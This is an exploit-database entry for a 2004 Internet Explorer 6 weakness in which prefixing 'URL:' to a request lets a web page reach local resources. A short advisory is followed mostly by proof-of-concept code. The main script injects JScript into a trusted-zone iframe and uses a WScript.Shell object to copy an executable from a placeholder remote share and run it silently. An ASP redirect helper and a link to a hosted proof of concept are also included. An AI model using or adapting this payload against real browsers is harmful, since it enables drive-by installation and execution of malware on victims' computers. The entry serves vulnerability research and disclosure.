Microsoft Internet Explorer 6 - URL Local Resource Access

EDB-ID:

24174

CVE:

N/A




Platform:

Windows

Date:

2004-06-06


source: https://www.securityfocus.com/bid/10472/info

Microsoft Internet Explorer is prone to a security weakness that may permit unauthorized access to local resources on a client computer. This will effectively bypass security restrictions implemented in Internet Explorer 6 SP1. Specifically, a malicious Web page may access a file on a vulnerable client computer by pre-pending "URL:" to a request for a specific resource.

This weakness is useful when exploiting other vulnerabilities, such as vulnerabilities that allow cross-zone access.

URL:ms-its:C:\WINDOWS\Help\iexplore.chm::/iegetsrt.htm

There are reported of exploits circulating in the wild that use this and BID 10473.

A proof-of-concept has been published at the following location:

http://62.131.86.111/security/idiots/repro/installer.htm

An additional proof of concept exploit supplied by, Ferruh Mavituna, that is reported to bypass vendor fixes is available:
New shellscript.js
=====================================================
function injectIt() {

document.frames[0].document.body.insertAdjacentHTML('afterBegin','injected<s
cript language="JScript" DEFER> var
rF="\\\\\\\\IPADDRESS\\\\NULLSHAREDFOLDER\\\\bad.exe"; var
wF="%windir%\\\\_tmp.exe"; var o=new ActiveXObject("wscript.shell"); var
e="%comspec% /c copy "+rF+" "+wF; var
err=o.Run(e,0,true);if(err==0)o.Run(wF,0,false);</script>');
}
document.write('<iframe src="shell:WINDOWS\\Web\\TIP.HTM"></iframe>');
setTimeout("injectIt()", 1000);
=====================================================

Also for testing in IIS Servers; ASP equivalent of redir.jsp

redir.asp
=====================================================
<%
Response.Expires = 1
Response.Expiresabsolute = Now() - 1
Response.AddHeader "pragma","no-cache"
Response.AddHeader "cache-control","private"
Response.CacheControl = "no-cache"
For x = 1 to 500000 'Time
z = z + 10
Next

Response.Status = "302 Found"
Response.AddHeader "Content-Length", "4"
Response.AddHeader "Location","URL:res://shdoclc.dll/HTTP_501.htm"
%>
=====================================================